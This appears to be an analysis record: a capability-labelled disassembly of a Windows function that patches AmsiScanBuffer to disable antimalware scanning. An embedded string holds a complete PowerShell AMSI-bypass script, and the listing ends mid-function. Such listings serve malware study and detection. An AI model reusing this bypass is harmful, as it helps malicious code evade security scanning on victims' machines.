Function at 0x1400011b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Patch antimalware scan interface function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x268
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], 0xfffffffffffffffe
lea rcx, str.amsi.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140001258
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14000125e
mov rsi, rax
mov dword [rbp + 0x10], 0
lea r9, [rbp + 0x10]
mov edx, 6
mov rcx, rax
mov r8d, 0x40
call qword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x140001258
mov byte [rsi], 0xb8
mov byte [rsi + 1], 0x57
mov byte [rsi + 2], 0
mov byte [rsi + 3], 0
mov byte [rsi + 4], 0
mov byte [rsi + 5], 0xc3
mov r8d, dword [rbp + 0x10]
lea r9, [rbp + 0x10]
mov edx, 6
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x140002679
call qword [sym.imp.kernel32.dll_GetLastError]
lea rax, [0x14001858b]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 0x852
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x180], rax
lea rax, [0x140002c10]
mov qword [rbp + 0x188], rax
lea rax, [0x140018e50]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 2
mov qword [rbp + 0x30], 0
lea rax, [rbp + 0x180]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
movzx eax, byte [0x14001f148]
mov ecx, 0xe4
call fcn.140011500
test rax, rax
je 0x14000284a
mov qword [rbp + 0xe0], 0xe4
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], 0
lea rdx, [0x140018f68]
lea r14, [rbp + 0xe0]
lea r8, [rbp + 0x10]
mov rcx, r14
call fcn.140003b10
test al, al
jne 0x140002859
mov rax, qword [rbp + 0xe0]
mov qword [rbp], rax
mov rsi, qword [rbp + 0xe8]
mov r12, qword [rbp + 0xf0]
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x190], 0
test r12, r12
mov qword [rbp + 8], rsi
je 0x140001b4e
add r12, rsi
mov eax, 1
mov qword [rbp + 0x1b8], rax
xor r9d, r9d
xor r15d, r15d
xor ebx, ebx
mov qword [rbp + 0x170], r12
jmp 0x1400013d5
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1b8], rax
mov byte [rax + r9], r13b
inc r9
mov qword [rbp + 0x1d0], r9
cmp rsi, r12
je 0x140001b18
movzx ecx, byte [rsi]
movzx r13d, cl
test r13b, r13b
js 0x1400013f0
inc rsi
cmp r13d, 0x27
jne 0x140001460
jmp 0x14000146a
mov eax, r13d
and eax, 0x1f
movzx edx, byte [rsi + 1]
and edx, 0x3f
cmp r13b, 0xdf
jbe 0x14000143c
movzx r13d, byte [rsi + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp cl, 0xf0
jb 0x140001450
movzx ecx, byte [rsi + 3]
add rsi, 4
and eax, 7
shl eax, 0x12
shl r13d, 6
and ecx, 0x3f
or ecx, r13d
or ecx, eax
mov r13d, ecx
cmp r13d, 0x27
jne 0x140001460
jmp 0x14000146a
add rsi, 2
shl eax, 6
or eax, edx
mov r13d, eax
cmp r13d, 0x27
jne 0x140001460
jmp 0x14000146a
add rsi, 3
shl eax, 0xc
or r13d, eax
cmp r13d, 0x27
je 0x14000146a
cmp r13d, 0x22
jne 0x140001650
test bl, 1
je 0x140001640
mov qword [rbp + 0x1b0], rbx
mov rbx, qword [rbp + 0x188]
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xe8], 1
mov qword [rbp + 0xf0], 0
test r15, r15
je 0x1400016fa
mov rdi, r9
add r15, rbx
lea r12, [rbp + 0x10]
nop word cs:[rax + rax]
movzx edx, byte [rbx]
movzx eax, dl
test al, al
js 0x1400014d0
inc rbx
jmp 0x140001530
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x140001511
movzx eax, byte [rbx + 2]
shl r8d, 6
and eax, 0x3f
or eax, r8d
cmp dl, 0xf0
jb 0x14000151f
movzx edx, byte [rbx + 3]
add rbx, 4
and ecx, 7
shl ecx, 0x12
shl eax, 6
and edx, 0x3f
or edx, eax
or edx, ecx
mov eax, edx
jmp 0x140001530
add rbx, 2
shl ecx, 6
or ecx, r8d
mov eax, ecx
jmp 0x140001530
add rbx, 3
shl ecx, 0xc
or eax, ecx
nop dword [rax + rax]
mov dword [rbp + 0x14c], eax
lea rax, [rbp + 0x14c]
mov qword [rbp + 0x198], rax
lea rax, [0x140003d10]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x40], 0x20
mov byte [rbp + 0x48], 3
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x30], r14
lea rax, [0x1400183f0]
mov qword [rbp + 0x38], rax
mov r8d, 7
mov rcx, r14
lea rdx, [0x140018469]
call fcn.140001150
test al, al
jne 0x1400027d1
mov rcx, qword [rbp + 0x198]
mov rdx, r12
call qword [rbp + 0x1a0]
test al, al
jne 0x1400027d1
mov rcx, qword [rbp + 0x30]
mov rax, qword [rbp + 0x38]
mov r8d, 2
lea rdx, [0x140018470]
call qword [rax + 0x18]
test al, al
jne 0x1400027d1
cmp rbx, r15
jne 0x1400014c0
mov rbx, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xf0]
test rax, rax
je 0x14000173d
mov r15, 0xffffffffffffffff
cmp byte [rbx + rax - 1], 0
mov r9, rdi
jns 0x140001924
movzx ecx, byte [rbx + rax - 2]
cmp cl, 0xbf
jg 0x1400017f9
movzx edx, byte [rbx + rax - 3]
cmp dl, 0xbf
jg 0x1400018f4
movzx r8d, byte [rbx + rax - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x1400018f7
xor bl, 1
jmp 0x1400019a6
test bl, 1
je 0x14000169e
cmp r13d, 0x80
jae 0x140001701
mov r15, qword [rbp + 0x190]
cmp r15, qword [rbp + 0x180]
jne 0x140001684
lea rcx, [rbp + 0x180]
mov rdi, r9
call fcn.140002c40
mov r9, rdi
mov rax, qword [rbp + 0x188]
mov byte [rax + r15], r13b
inc r15
mov qword [rbp + 0x190], r15
jmp 0x1400013cc
cmp r13d, 0x80
jb 0x1400019a6
mov dword [rbp + 0x10], 0
cmp r13d, 0x800
mov qword [rbp + 0x1b0], rbx
mov eax, r13d
jae 0x14000174f
shr eax, 6
or al, 0xc0
mov byte [rbp + 0x10], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x11], r13b
mov ebx, 2
mov rax, qword [rbp + 0x1c0]
sub rax, r9
cmp rax, rbx
jae 0x140001795
jmp 0x140001850
mov ebx, 1
jmp 0x140001740
mov dword [rbp + 0x10], 0
cmp r13d, 0x800
mov qword [rbp + 0x1b0], rbx
mov eax, r13d
jae 0x1400017c1
shr eax, 6
or al, 0xc0
mov byte [rbp + 0x10], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x11], r13b
mov ebx, 2
jmp 0x1400018af
mov r9, rdi
mov rdi, qword [rbp + 0xe0]
xor r15d, r15d
jmp 0x140001941
cmp r13d, 0x10000
jae 0x14000180a
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x12], r13b
mov ebx, 3
mov rax, qword [rbp + 0x1c0]
sub rax, r9
cmp rax, rbx
jb 0x140001850
mov rax, qword [rbp + 0x1b8]
lea rcx, [rax + r9]
mov rdi, r9
lea rdx, [rbp + 0x10]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r9, rdi
add r9, rbx
mov qword [rbp + 0x1d0], r9
jmp 0x140001aaa
cmp r13d, 0x10000
jae 0x14000187c
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x12], r13b
mov ebx, 3
jmp 0x1400018af
and ecx, 0x1f
cmp ecx, 2
jae 0x140001907
jmp 0x140001924
shr eax, 0x12
or al, 0xf0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x12], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x13], r13b
mov ebx, 4
mov rax, qword [rbp + 0x1c0]
sub rax, r9
cmp rax, rbx
jae 0x140001795
lea rcx, [rbp + 0x1c0]
mov rdx, r9
mov r8, rbx
call fcn.140016260
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1b8], rax
mov r9, qword [rbp + 0x1d0]
jmp 0x140001795
shr eax, 0x12
or al, 0xf0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x12], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x13], r13b
mov ebx, 4
mov rdi, r9
mov rax, qword [rbp + 0x180]
mov r15, qword [rbp + 0x190]
sub rax, r15
cmp rax, rbx
jb 0x140001afa
mov rcx, qword [rbp + 0x188]
add rcx, r15
lea rdx, [rbp + 0x10]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r15, rbx
mov qword [rbp + 0x190], r15
mov r9, rdi
jmp 0x140001aaa
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
mov r9, rdi
cmp ecx, 2
jb 0x140001924
mov r15, 0xfffffffffffffffe
cmp ecx, 0x20
jb 0x140001924
xor r15d, r15d
cmp ecx, 0x400
setb r15b
or r15, 0xfffffffffffffffc
add r15, rax
mov rdi, qword [rbp + 0xe0]
mov rax, qword [rbp + 0x1c0]
sub rax, r9
cmp rax, r15
jb 0x140001ace
mov rcx, qword [rbp + 0x1b8]
add rcx, r9
mov r12, r9
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rbp + 0x1d0], r12
test rdi, rdi
je 0x14000197a
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x190], 0
mov rbx, qword [rbp + 0x1b0]
xor bl, 1
cmp r13d, 0x7f
mov r12, qword [rbp + 0x170]
ja 0x1400019ca
mov r9, qword [rbp + 0x1d0]
xor r15d, r15d
cmp r9, qword [rbp + 0x1c0]
jne 0x1400013b0
lea rcx, [rbp + 0x1c0]
mov rdi, r9
call fcn.140002c40
mov r9, rdi
jmp 0x1400013b0
mov dword [rbp + 0x10], 0
cmp r13d, 0x800
mov qword [rbp + 0x1b0], rbx
mov eax, r13d
jae 0x1400019ff
shr eax, 6
or al, 0xc0
mov byte [rbp + 0x10], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x11], r13b
mov ebx, 2
jmp 0x140001a63
cmp r13d, 0x10000
jae 0x140001a30
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x12], r13b
mov ebx, 3
jmp 0x140001a63
shr eax, 0x12
or al, 0xf0
mov byte [rbp + 0x10], al
mov eax, r13d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x11], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x12], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x13], r13b
mov ebx, 4
mov rax, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1d0]
sub rax, rdx
cmp rax, rbx
jb 0x140001ab6
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1b8], rax
lea rcx, [rax + rdx]
mov rdi, rdx
lea rdx, [rbp + 0x10]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r9, rdi
add r9, rbx
mov qword [rbp + 0x1d0], r9
xor r15d, r15d
mov rbx, qword [rbp + 0x1b0]
jmp 0x1400013cc
lea rcx, [rbp + 0x1c0]
mov r8, rbx
call fcn.140016260
mov rdx, qword [rbp + 0x1d0]
jmp 0x140001a79
lea rcx, [rbp + 0x1c0]
mov rdx, r9
mov r8, r15
call fcn.140016260
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1b8], rax
mov r9, qword [rbp + 0x1d0]
jmp 0x140001941
lea rcx, [rbp + 0x180]
mov rdx, r15
mov r8, rbx
call fcn.140016260
mov r15, qword [rbp + 0x190]
jmp 0x1400018cc
mov r12, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c8]
cmp qword [rbp + 0x180], 0
je 0x140001b59
mov r8, qword [rbp + 0x188]
mov rcx, qword [0x14001f0e8]
mov rdi, r9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, rdi
jmp 0x140001b59
mov esi, 1
xor r12d, r12d
xor r9d, r9d
lea rax, str.ParameterTypesReturnTypeTypeBuilderNativeMethodsGetProcAddressLoadLibraryDelegateVirtualProtectDelegateKernel32PtrLoadLibraryPtrVirtualProtectPtrAmsiPtrAmsiScanBufferPtrOldProtect_nfunction_Get_Delegate__n____Param__Type____ParameterTypes___Type__ReturnType__n_____TypeBuilder___AppDomain_::CurrentDomain.DefineDynamicAssembly__n_________New_Object_Reflection.AssemblyName_ReflectedDelegate_____n_________Reflection.Emit.AssemblyBuilderAccess_::Run_.DefineDynamicModule__n________InMemoryModule___False_.DefineType__n________MyDelegateType__Class__Public__Sealed__AnsiClass__AutoClass___MulticastDelegate___n_____TypeBuilder.DefineConstructor_RTSpecialName__HideBySig__Public___n_________Reflection.CallingConventions_::Standard___ParameterTypes_.SetImplementationFlags_Runtime__Managed__n_____TypeBuilder.DefineMethod_Invoke__Public__HideBySig__NewSlot__Virtual___n_________ReturnType___ParameterTypes_.SetImplementationFlags_Runtime__Managed__n____Write_Output__TypeBuilder.CreateType___n_n_NativeMethods____AppDomain_::CurrentDomain.GetAssemblies____Where_Object___n______.GlobalAssemblyCache__and___.Location.Split____1_.Equals_System.dll___n_.GetType_Microsoft.Win32.UnsafeNativeMethods__n_GetProcAddress___NativeMethods.GetMethod_GetProcAddress___n_____Reflection.BindingFlags__Public__Static____Null___n_____Reflection.CallingConventions_::Any_____New_Object_IntPtr_.GetType_____string_____Null__n_LoadLibraryDelegate__Get_Delegate____String____IntPtr___n_VirtualProtectDelegate__Get_Delegate____IntPtr____UIntPtr____UInt32____UInt32_.MakeByRefType_____Bool___n_Kernel32Ptr___NativeMethods.GetMethod_GetModuleHandle_.Invoke__Null_____Object__kernel32.dll____n_LoadLibraryPtr___GetProcAddress.Invoke__Null_____Object__Kernel32Ptr___Object__LoadLibraryA____n_VirtualProtectPtr___GetProcAddress.Invoke__Null_____Object__Kernel32Ptr___Object__VirtualProtect____n_AmsiPtr___Runtime.InteropServices.Marshal_::GetDelegateForFunctionPointer__LoadLibraryPtr___LoadLibraryDelegate_.Invoke_amsi.dll__n_AmsiScanBufferPtr___GetProcAddress.Invoke__Null_____Object__AmsiPtr___Object__AmsiScanBuffer____n_OldProtect__0_n_Runtime.InteropServices.Marshal_::GetDelegateForFunctionPointer__VirtualProtectPtr___VirtualProtectDelegate_.Invoke__AmsiScanBufferPtr___uint32_8__4___ref__OldProtect__n_n_Runtime.InteropServices.Marshal_::Copy__Byte____0xb8__0x57__0x00__0x07__0x80__0xc3___0___AmsiScanBufferPtr__6___n
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0xe
lea rax, [0x1400184e6]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0xa
lea rax, [0x1400184f0]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 0xb
lea rax, [0x1400184fb]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 0xd
lea rax, [0x140018508]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0xe
lea rax, [0x140018516]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 0x13
lea rax, [0x140018529]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 0x16
lea rax, [0x14001853f]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 0xb
lea rax, [0x14001854a]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 0xe
lea rax, [0x140018558]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], 0x11
lea rax, [0x140018569]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 7
lea rax, [0x140018570]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 0x11
lea rax, [0x140018581]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0xa
xor eax, eax
jmp 0x140001c9d
mov r9, rdi
add r9, rbx
mov rax, qword [rbp - 0x20]
cmp rax, 0xd0
mov rcx, qword [rbp + 0x158]
je 0x140002524
mov qword [rbp + 0x158], rcx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], r12
mov qword [rbp + 0x178], rsi
mov rcx, qword [rbp + rax + 0x10]
mov qword [rbp - 0x28], rcx
mov r12, qword [rbp + rax + 0x18]
add rax, 0x10
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a0], 1
mov qword [rbp + 0x1a8], 0
xor r8d, r8d
mov qword [rbp + 0x170], r9
mov qword [rbp + 0x150], r12
jmp 0x140001d27
mov qword [rbp + 0x1a8], r14
mov eax, 1
mov qword [rbp + 0x158], rax
mov r8, qword [rbp + 0x1b0]
add r8, r12
add r8, rbx
mov r9, qword [rbp + 0x170]
test r8, r8
je 0x140001d56
cmp r9, r8
jbe 0x140001d50
mov rax, qword [rbp + 0x178]
cmp byte [rax + r8], 0xbf
jg 0x140001d56
jmp 0x140002807
jne 0x140002807
sub r9, r8
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x1b0], r8
lea rdx, [rax + r8]
mov qword [rsp + 0x20], r12
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x1b8], rdx
mov qword [rbp - 8], r9
mov r8, r9
mov r9, qword [rbp - 0x28]
call fcn.140005570
test byte [rbp + 0xe0], 1
je 0x140001ee0
mov r15, qword [rbp + 0x118]
mov r8, qword [rbp + 0x128]
mov rax, qword [rbp + 0x140]
lea r11, [rax - 1]
mov rdx, qword [rbp + 0x130]
mov rbx, qword [rbp + 0x138]
cmp r15, 0xffffffffffffffff
je 0x140002024
mov r10, qword [rbp + 0x108]
lea rcx, [r10 + r11]
cmp rcx, rdx
jae 0x140002450
mov r12, qword [rbp + 0x100]
mov rdi, qword [rbp + 0xe8]
mov r9, qword [rbp + 0xf8]
mov rsi, rax
mov qword [rbp + 0x160], r9
sub rsi, r9
mov qword [rbp + 0x168], rsi
nop dword [rax]
movzx ecx, byte [r8 + rcx]
bt r12, rcx
jae 0x140001e60
cmp rdi, r15
mov rcx, r15
cmova rcx, rdi
lea r9, [r8 + r10]
mov r13, rcx
nop dword [rax]
cmp r13, rax
jae 0x140001e80
mov rsi, r13
add r13, r10
cmp r13, rdx
jae 0x140002738
lea r13, [rsi + 1]
movzx r14d, byte [rbx + rsi]
cmp r14b, byte [r9 + rsi]
je 0x140001e30
sub r10, rdi
add r10, rsi
inc r10
jmp 0x140001e63
add r10, rax
xor r15d, r15d
lea rcx, [r10 + r11]
cmp rcx, rdx
jb 0x140001e10
jmp 0x140002450
mov rcx, rdi
nop word cs:[rax + rax]
cmp r15, rcx
jae 0x140002130
dec rcx
cmp rcx, rax
jae 0x140002776
lea r9, [rcx + r10]
cmp r9, rdx
jae 0x14000274e
movzx esi, byte [rbx + rcx]
cmp sil, byte [r8 + r9]
je 0x140001e90
add r10, qword [rbp + 0x160]
mov r15, qword [rbp + 0x168]
lea rcx, [r10 + r11]
cmp rcx, rdx
jb 0x140001e10
jmp 0x140002450
cmp byte [rbp + 0xfa], 0
jne 0x140002450
mov r10, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x128]
mov rbx, qword [rbp + 0x130]
movzx eax, byte [rbp + 0xf8]
jmp 0x140001f15
xor al, 1
add r10, r8
test r10, r10
je 0x140001f36
cmp r10, rbx
jae 0x140001f30
cmp byte [rcx + r10], 0xbf
jg 0x140001f36
jmp 0x14000278c
jne 0x14000278c
cmp r10, rbx
je 0x140002010
movzx r9d, byte [rcx + r10]
movzx edx, r9b
test dl, dl
jns 0x140001fb0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + r10 + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x140001f9f
movzx edx, byte [rcx + r10 + 2]
shl r11d, 6
and edx, 0x3f
or edx, r11d
cmp r9b, 0xf0
jb 0x140001ff1
movzx r9d, byte [rcx + r10 + 3]
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
test al, 1
je 0x140001fb8
jmp 0x140002130
shl r8d, 6
or r8d, r11d
mov edx, r8d
nop dword [rax]
test al, 1
jne 0x140002130
mov r8d, 1
cmp edx, 0x80
jb 0x140001f10
mov r8d, 2
cmp edx, 0x800
jb 0x140001f10
cmp edx, 0x10000
mov r8d, 4
sbb r8, 0
jmp 0x140001f10
shl r8d, 0xc
or edx, r8d
test al, 1
je 0x140001fb8
jmp 0x140002130
test al, 1
mov rdx, qword [rbp + 0x170]
jne 0x14000213a
jmp 0x1400024de
mov r10, qword [rbp + 0x108]
lea r9, [r10 + r11]
cmp r9, rdx
jae 0x140002450
mov rdi, qword [rbp + 0x100]
mov r15, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xf8]
mov qword [rbp + 0x168], rcx
lea rcx, [r15 - 1]
lea rsi, [r15 + rbx]
dec rsi
mov qword [rbp + 0x160], rsi
jmp 0x140002080
add r10, rax
lea r9, [r10 + r11]
cmp r9, rdx
jae 0x140002450
movzx r9d, byte [r8 + r9]
bt rdi, r9
jae 0x140002070
lea r9, [r8 + r10]
mov r13, r15
nop word cs:[rax + rax]
cmp r13, rax
jae 0x1400020d0
mov rsi, r13
lea r14, [r10 + r13]
cmp r14, rdx
jae 0x14000275d
lea r13, [rsi + 1]
movzx r14d, byte [rbx + rsi]
cmp r14b, byte [r9 + rsi]
je 0x1400020a0
sub r10, r15
add r10, rsi
inc r10
jmp 0x140002073
cmp rcx, rax
jae 0x14000211f
lea r9, [rcx + r10]
mov rsi, qword [rbp + 0x160]
mov r13, r15
nop word cs:[rax + rax]
sub r13, 1
jb 0x140002130
cmp r9, rdx
jae 0x14000274e
movzx r14d, byte [rsi]
dec rsi
lea r12, [r9 - 1]
cmp r14b, byte [r8 + r9]
mov r9, r12
je 0x1400020f0
add r10, qword [rbp + 0x168]
jmp 0x140002073
test r15, r15
jne 0x140002776
nop dword [rax + rax]
mov rbx, r10
mov rdx, qword [rbp + 0x170]
mov r9, rbx
mov r8, qword [rbp + 0x1b0]
add r9, r8
mov r10, qword [rbp + 0x1b8]
jb 0x1400027b9
test r8, r8
je 0x140002176
cmp rdx, r8
jbe 0x140002170
cmp byte [r10], 0xbf
jg 0x140002176
jmp 0x1400027b9
jne 0x1400027b9
test r9, r9
je 0x1400021a6
cmp r9, rdx
jae 0x1400021a0
mov rax, qword [rbp + 0x178]
cmp byte [rax + r9], 0xbf
jg 0x1400021a6
jmp 0x1400027b9
jne 0x1400027b9
mov rax, qword [rbp + 0x198]
mov r14, qword [rbp + 0x1a8]
sub rax, r14
cmp rax, rbx
jb 0x140002400
mov rcx, qword [rbp + 0x1a0]
add rcx, r14
mov rdx, r10
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rbp + 0x1a8], r14
mov r12, qword [rbp + 0x150]
test r12, r12
js 0x1400027fc
je 0x140001d00
movzx eax, byte [0x14001f148]
mov rcx, r12
call fcn.140011500
test rax, rax
je 0x140002822
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
mov r15d, 0x3039
mov qword [rbp + 0x158], rax
mov rcx, rax
xor edi, edi
jmp 0x140002257
mov byte [rcx + rdi], r13b
inc rdi
mov qword [rbp + 0x1d0], rdi
dec r12
je 0x14000239a
mov r8, r15
movabs rax, 0x5851f42d4c957f2d
imul r8, rax
lea r15, [r8 + 1]
mov rax, r15
shr rax, 1
movabs rdx, 0x8421084210842109
mul rdx
shr rdx, 4
mov rax, rdx
shl rax, 6
add rdx, rdx
sub rdx, rax
lea rax, [r8 + rdx]
inc rax
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789src_main.rs_char___
movzx r13d, byte [rdx + rax]
test r13b, r13b
js 0x1400022d0
cmp rdi, qword [rbp + 0x1c0]
jne 0x140002240
lea rcx, [rbp + 0x1c0]
call fcn.140002c40
mov rcx, qword [rbp + 0x1c8]
jmp 0x140002240
mov rax, qword [rbp + 0x1c0]
mov rdx, rax
sub rdx, rdi
cmp rdx, 2
jae 0x14000232c
cmp rdi, 0xfffffffffffffffd
ja 0x140002785
lea rsi, [rdi + 2]
lea r14, [rax + rax]
cmp r14, rsi
cmovbe r14, rsi
cmp r14, 9
mov edx, 8
cmovb r14, rdx
test r14, r14
js 0x140002785
test rax, rax
je 0x140002332
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xf0], rax
mov eax, 1
jmp 0x140002334
lea rsi, [rdi + 2]
jmp 0x140002373
xor eax, eax
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0x180]
mov rdx, r14
lea r8, [rbp + 0xe0]
call fcn.140002ce0
cmp dword [rbp + 0x180], 1
je 0x1400027a6
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1c0], r14
mov eax, r13d
shr al, 6
or al, 0xc0
and r13b, 0xbf
mov byte [rcx + rdi], al
mov byte [rcx + rdi + 1], r13b
mov rdi, rsi
mov qword [rbp + 0x1d0], rdi
dec r12
jne 0x140002257
mov rsi, qword [rbp + 0x1c0]
mov r14, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x198]
mov r12, qword [rbp + 0x1a8]
sub rax, r12
cmp rax, rdi
jb 0x140002425
mov rcx, qword [rbp + 0x1a0]
add rcx, r12
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0x1a8], r12
test rsi, rsi
je 0x1400023f4
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rbp + 0x150]
jmp 0x140001d13
lea rcx, [rbp + 0x198]
mov rdx, r14
mov r8, rbx
call fcn.140016260
mov r10, qword [rbp + 0x1b8]
mov r14, qword [rbp + 0x1a8]
jmp 0x1400021c0
lea rcx, [rbp + 0x198]
mov rdx, r12
mov r8, rdi
call fcn.140016260
mov r12, qword [rbp + 0x1a8]
jmp 0x1400023be
mov r8, qword [rbp + 0x1b0]
test r8, r8
mov rdx, qword [rbp + 0x170]
mov r9, qword [rbp + 0x1b8]
mov rbx, qword [rbp - 8]
je 0x140002486
cmp rdx, r8
jbe 0x140002480
cmp byte [r9], 0xbf
jg 0x140002486
jmp 0x14000282f
jne 0x14000282f
mov r12, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x1a8]
mov rax, r12
sub rax, rdx
cmp rax, rbx
jb 0x1400024fb
mov rsi, qword [rbp + 0x1a0]
mov rdi, rdx
lea rcx, [rsi + rdx]
mov rdx, r9
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp - 0x18], 0
je 0x140001c80
mov rcx, qword [0x14001f0e8]
xor edx, edx
mov r8, qword [rbp + 0x178]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140001c80
mov r8, qword [rbp + 0x1b0]
test r8, r8
mov r9, qword [rbp + 0x1b8]
mov rbx, qword [rbp - 8]
jne 0x14000246e
jmp 0x140002486
lea rcx, [rbp + 0x198]
mov r8, rbx
call fcn.140016260
mov r9, qword [rbp + 0x1b8]
mov r12, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x1a8]
jmp 0x14000249f
mov rdi, r9
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x10], 0x68
movaps xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
